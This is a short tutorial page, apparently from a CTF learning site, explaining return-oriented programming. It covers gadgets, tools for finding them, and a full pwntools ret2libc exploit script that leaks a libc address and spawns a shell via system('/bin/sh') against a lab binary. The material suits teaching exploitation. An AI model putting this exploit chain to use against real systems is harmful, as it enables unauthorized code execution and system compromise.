advancedcat/pwn~2 min read

Return-Oriented Programming

Chain together small existing code snippets (gadgets) to execute arbitrary logic when the stack is non-executable.

// prerequisite reading

Why ROP?

When NX (non-executable stack) is enabled, injecting shellcode onto the stack and jumping to it crashes with a segfault. ROP works by chaining together small sequences of existing code — gadgets — that end in ret. Each ret pops the next gadget address off the stack, letting you compose arbitrarily complex behaviour from snippets already present in the binary or its libraries.

A gadget

A gadget is any sequence ending in ret. Example:

pop rdi   ; takes next stack value into rdi
ret       ; jumps to next gadget address

Feeding this gadget address + a value + the next address lets you set rdi to any value before calling a function.

Finding gadgets

# pwntools
rop = ROP(elf)
rop.find_gadget(['pop rdi', 'ret'])

# ROPgadget tool
ROPgadget --binary ./vuln | grep "pop rdi"

# pwndbg inside GDB
rop --grep "pop rdi ; ret"

The ret2libc chain

The classic NX bypass: call system("/bin/sh").

  1. Leak a libc address — call puts(puts@got) to print the runtime address of puts.
  2. Calculate libc baselibc_base = leaked_puts - libc.sym['puts'].
  3. Call system — build a chain that sets rdi = "/bin/sh" address and jumps to system.
from pwn import *

elf  = ELF("./vuln")
libc = ELF("./libc.so.6")
io   = process("./vuln")
rop  = ROP(elf)

# Stage 1 — leak puts
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.sym['main'])       # return to main for stage 2
io.sendline(b"A" * offset + bytes(rop))

io.recvuntil(b"\n")
leaked = u64(io.recv(6) + b"\x00\x00")
libc.address = leaked - libc.sym['puts']

# Stage 2 — call system("/bin/sh")
rop2 = ROP(libc)
rop2.call(libc.sym['system'], [next(libc.search(b"/bin/sh\x00"))])
io.sendline(b"A" * offset + bytes(rop2))
io.interactive()

Stack alignment

On 64-bit Linux, system() requires the stack to be 16-byte aligned. If your chain crashes inside system, add an extra ret gadget before the call:

rop.ret     # adds a bare `ret` to pad alignment